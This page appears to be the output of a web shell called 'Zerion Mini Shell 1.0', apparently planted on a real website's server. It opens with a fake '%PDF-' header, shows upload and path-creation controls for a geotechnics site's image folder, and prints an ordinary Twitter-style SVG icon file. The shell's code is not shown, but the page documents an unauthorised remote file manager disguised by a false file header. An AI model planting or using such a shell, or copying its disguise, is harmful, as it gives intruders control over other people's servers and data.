%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/web/assets/images/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/web/assets/images/twitter.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<path fill="#92989F" d="M359.766,342.091h-22.301v-90.442c0-21.896-17.752-39.646-39.646-39.646
		c-21.897,0-39.647,17.75-39.647,39.646v520.706c0,21.895,17.75,39.647,39.647,39.647c21.895,0,39.646-17.753,39.646-39.647v-350.97
		h22.301c21.896,0,39.647-17.75,39.647-39.646C399.413,359.844,381.661,342.091,359.766,342.091z"/>
	<path fill="#92989F" d="M752.396,798.223c0.206-0.239,0.414-0.475,0.615-0.716c0.259-0.314,0.506-0.637,0.752-0.959
		c0.144-0.186,0.291-0.367,0.434-0.556c0.259-0.352,0.506-0.707,0.755-1.063c0.119-0.172,0.239-0.339,0.355-0.514
		c0.245-0.365,0.479-0.735,0.709-1.105c0.111-0.177,0.223-0.349,0.329-0.525c0.221-0.365,0.429-0.735,0.637-1.108
		c0.109-0.195,0.223-0.39,0.329-0.588c0.187-0.349,0.363-0.701,0.54-1.055c0.116-0.232,0.234-0.465,0.346-0.699
		c0.152-0.322,0.295-0.648,0.44-0.973c0.121-0.276,0.244-0.55,0.358-0.83c0.121-0.288,0.232-0.581,0.346-0.871
		c0.123-0.322,0.249-0.644,0.365-0.971c0.09-0.254,0.175-0.511,0.259-0.765c0.121-0.365,0.242-0.73,0.356-1.104
		c0.067-0.225,0.128-0.45,0.19-0.678c0.114-0.399,0.226-0.799,0.325-1.202c0.053-0.211,0.099-0.421,0.147-0.634
		c0.097-0.417,0.19-0.833,0.273-1.257c0.043-0.213,0.077-0.428,0.116-0.644c0.074-0.416,0.149-0.832,0.21-1.253
		c0.036-0.247,0.063-0.494,0.095-0.741c0.051-0.389,0.102-0.778,0.141-1.171c0.031-0.326,0.051-0.65,0.074-0.978
		c0.022-0.316,0.054-0.634,0.068-0.953c0.031-0.617,0.046-1.234,0.048-1.852c0-0.036,0.003-0.072,0.003-0.106V584.485
		c0-21.897-17.752-39.647-39.647-39.647c-21.896,0-39.646,17.75-39.646,39.647v92.154l-65.14-65.14
		c-0.01-0.007-0.017-0.017-0.024-0.024c-15.482-15.483-40.583-15.483-56.067,0l-65.162,65.162v-92.152
		c0-21.897-17.75-39.647-39.646-39.647c-21.895,0-39.646,17.75-39.646,39.647v187.869c0,0.034,0.002,0.068,0.002,0.104
		c0.002,0.617,0.017,1.233,0.049,1.854c0.014,0.324,0.046,0.644,0.067,0.968c0.024,0.319,0.044,0.642,0.075,0.961
		c0.038,0.399,0.092,0.796,0.143,1.192c0.029,0.24,0.056,0.477,0.09,0.717c0.063,0.428,0.14,0.852,0.215,1.275
		c0.039,0.208,0.07,0.416,0.111,0.624c0.085,0.429,0.182,0.852,0.281,1.275c0.046,0.205,0.089,0.409,0.14,0.612
		c0.102,0.411,0.216,0.815,0.329,1.222c0.063,0.221,0.121,0.44,0.189,0.661c0.113,0.377,0.236,0.75,0.36,1.122
		c0.085,0.247,0.164,0.496,0.251,0.741c0.119,0.334,0.247,0.665,0.376,0.994c0.108,0.283,0.218,0.566,0.333,0.847
		c0.119,0.288,0.247,0.571,0.371,0.854c0.14,0.317,0.28,0.634,0.431,0.948c0.113,0.245,0.237,0.484,0.355,0.724
		c0.174,0.347,0.346,0.689,0.53,1.031c0.111,0.208,0.228,0.409,0.341,0.614c0.203,0.363,0.406,0.724,0.622,1.082
		c0.111,0.187,0.229,0.365,0.344,0.549c0.228,0.363,0.455,0.727,0.696,1.084c0.121,0.182,0.247,0.358,0.373,0.535
		c0.242,0.351,0.483,0.699,0.738,1.041c0.147,0.195,0.3,0.387,0.45,0.58c0.241,0.314,0.481,0.63,0.735,0.937
		c0.206,0.249,0.419,0.489,0.629,0.733c0.211,0.244,0.416,0.491,0.637,0.733c0.406,0.45,0.827,0.888,1.253,1.321
		c0.034,0.031,0.063,0.065,0.095,0.097c0.039,0.039,0.08,0.072,0.118,0.111c0.424,0.421,0.857,0.835,1.3,1.236
		c0.244,0.223,0.499,0.434,0.748,0.648c0.239,0.206,0.474,0.416,0.716,0.615c0.314,0.259,0.637,0.506,0.959,0.752
		c0.186,0.143,0.367,0.293,0.556,0.434c0.352,0.259,0.707,0.506,1.063,0.755c0.172,0.118,0.339,0.239,0.514,0.355
		c0.365,0.244,0.735,0.479,1.105,0.712c0.177,0.108,0.349,0.22,0.525,0.326c0.365,0.221,0.735,0.429,1.108,0.637
		c0.195,0.108,0.389,0.223,0.588,0.329c0.348,0.187,0.701,0.363,1.055,0.539c0.232,0.116,0.465,0.235,0.699,0.347
		c0.322,0.152,0.646,0.295,0.973,0.44c0.276,0.121,0.55,0.244,0.828,0.358c0.29,0.12,0.583,0.231,0.873,0.346
		c0.322,0.123,0.644,0.249,0.971,0.365c0.254,0.09,0.511,0.174,0.767,0.259c0.363,0.121,0.729,0.242,1.099,0.354
		c0.228,0.07,0.458,0.131,0.686,0.196c0.396,0.111,0.793,0.223,1.195,0.321c0.213,0.054,0.428,0.1,0.641,0.147
		c0.414,0.098,0.83,0.191,1.249,0.273c0.218,0.044,0.436,0.078,0.656,0.119c0.411,0.072,0.825,0.147,1.241,0.208
		c0.251,0.038,0.506,0.065,0.757,0.097c0.385,0.049,0.768,0.102,1.154,0.138c0.334,0.034,0.671,0.054,1.007,0.078
		c0.308,0.021,0.615,0.051,0.925,0.064c0.653,0.034,1.307,0.052,1.96,0.052s1.307-0.018,1.96-0.052
		c0.31-0.014,0.617-0.043,0.925-0.064c0.336-0.024,0.672-0.044,1.006-0.078c0.388-0.036,0.77-0.089,1.154-0.138
		c0.252-0.031,0.506-0.059,0.758-0.097c0.416-0.061,0.83-0.136,1.244-0.208c0.217-0.041,0.436-0.075,0.653-0.119
		c0.421-0.082,0.837-0.176,1.253-0.273c0.211-0.048,0.424-0.094,0.637-0.147c0.404-0.099,0.803-0.21,1.2-0.324
		c0.228-0.063,0.455-0.123,0.68-0.191c0.37-0.113,0.735-0.234,1.104-0.355c0.254-0.085,0.511-0.169,0.763-0.259
		c0.329-0.116,0.65-0.242,0.975-0.368c0.288-0.111,0.578-0.223,0.866-0.341c0.281-0.116,0.56-0.242,0.838-0.363
		c0.321-0.143,0.644-0.285,0.963-0.438c0.239-0.111,0.475-0.232,0.709-0.349c0.351-0.177,0.699-0.351,1.045-0.537
		c0.204-0.109,0.402-0.223,0.603-0.337c0.366-0.203,0.731-0.408,1.092-0.626c0.184-0.109,0.363-0.226,0.542-0.339
		c0.368-0.228,0.733-0.458,1.092-0.699c0.179-0.119,0.353-0.247,0.529-0.368c0.351-0.244,0.699-0.489,1.046-0.745
		c0.193-0.146,0.382-0.295,0.575-0.445c0.315-0.242,0.632-0.484,0.939-0.738c0.252-0.206,0.491-0.421,0.735-0.632
		c0.244-0.21,0.491-0.416,0.73-0.634c0.45-0.406,0.891-0.827,1.324-1.256c0.031-0.031,0.065-0.061,0.097-0.092L589.521,695.58
		l104.812,104.809c0.036,0.039,0.077,0.072,0.116,0.111c0.426,0.421,0.856,0.835,1.299,1.236c0.247,0.223,0.499,0.434,0.75,0.648
		c0.237,0.206,0.473,0.416,0.717,0.615c0.314,0.259,0.637,0.506,0.956,0.752c0.187,0.143,0.37,0.293,0.559,0.434
		c0.349,0.259,0.704,0.506,1.063,0.755c0.169,0.118,0.339,0.239,0.511,0.355c0.365,0.244,0.735,0.479,1.108,0.712
		c0.174,0.108,0.348,0.22,0.524,0.326c0.365,0.221,0.736,0.429,1.106,0.637c0.195,0.108,0.39,0.223,0.588,0.329
		c0.351,0.187,0.704,0.363,1.058,0.539c0.232,0.116,0.462,0.235,0.696,0.347c0.324,0.152,0.648,0.295,0.976,0.44
		c0.273,0.121,0.549,0.244,0.827,0.358c0.291,0.12,0.581,0.231,0.874,0.346c0.322,0.123,0.644,0.249,0.968,0.365
		c0.254,0.09,0.511,0.174,0.768,0.259c0.365,0.121,0.73,0.242,1.099,0.354c0.228,0.07,0.457,0.131,0.687,0.196
		c0.395,0.111,0.792,0.223,1.193,0.321c0.213,0.054,0.429,0.1,0.644,0.147c0.414,0.098,0.828,0.191,1.246,0.273
		c0.218,0.044,0.438,0.078,0.656,0.119c0.413,0.072,0.825,0.147,1.243,0.208c0.252,0.038,0.504,0.065,0.758,0.097
		c0.382,0.049,0.765,0.102,1.151,0.138c0.337,0.034,0.673,0.054,1.007,0.078c0.31,0.021,0.615,0.051,0.927,0.064
		c0.651,0.034,1.307,0.052,1.96,0.052s1.308-0.018,1.961-0.052c0.31-0.014,0.616-0.043,0.924-0.064
		c0.337-0.024,0.671-0.044,1.007-0.078c0.387-0.036,0.77-0.089,1.154-0.138c0.252-0.031,0.503-0.059,0.755-0.097
		c0.419-0.061,0.83-0.136,1.244-0.208c0.218-0.041,0.438-0.075,0.655-0.119c0.421-0.082,0.835-0.176,1.251-0.273
		c0.213-0.048,0.426-0.094,0.637-0.147c0.404-0.099,0.804-0.21,1.202-0.324c0.226-0.063,0.453-0.123,0.681-0.191
		c0.37-0.113,0.735-0.234,1.101-0.355c0.254-0.085,0.511-0.169,0.765-0.259c0.327-0.116,0.651-0.242,0.973-0.368
		c0.291-0.111,0.581-0.223,0.866-0.341c0.283-0.116,0.56-0.242,0.838-0.363c0.324-0.143,0.646-0.285,0.966-0.438
		c0.236-0.111,0.472-0.232,0.709-0.349c0.348-0.177,0.699-0.351,1.045-0.537c0.201-0.109,0.401-0.223,0.603-0.337
		c0.365-0.203,0.73-0.408,1.092-0.626c0.181-0.109,0.36-0.226,0.542-0.339c0.365-0.228,0.73-0.458,1.091-0.699
		c0.177-0.119,0.352-0.247,0.527-0.368c0.352-0.244,0.702-0.489,1.046-0.745c0.196-0.146,0.385-0.295,0.576-0.445
		c0.314-0.242,0.631-0.484,0.94-0.738c0.25-0.206,0.492-0.421,0.736-0.632c0.242-0.21,0.491-0.416,0.73-0.634
		c0.45-0.406,0.891-0.827,1.321-1.256c0.031-0.031,0.065-0.061,0.097-0.092c0.039-0.039,0.072-0.08,0.111-0.119
		c0.421-0.423,0.835-0.856,1.236-1.299C751.97,798.724,752.181,798.472,752.396,798.223z"/>
</g>
</svg>

Zerion Mini Shell 1.0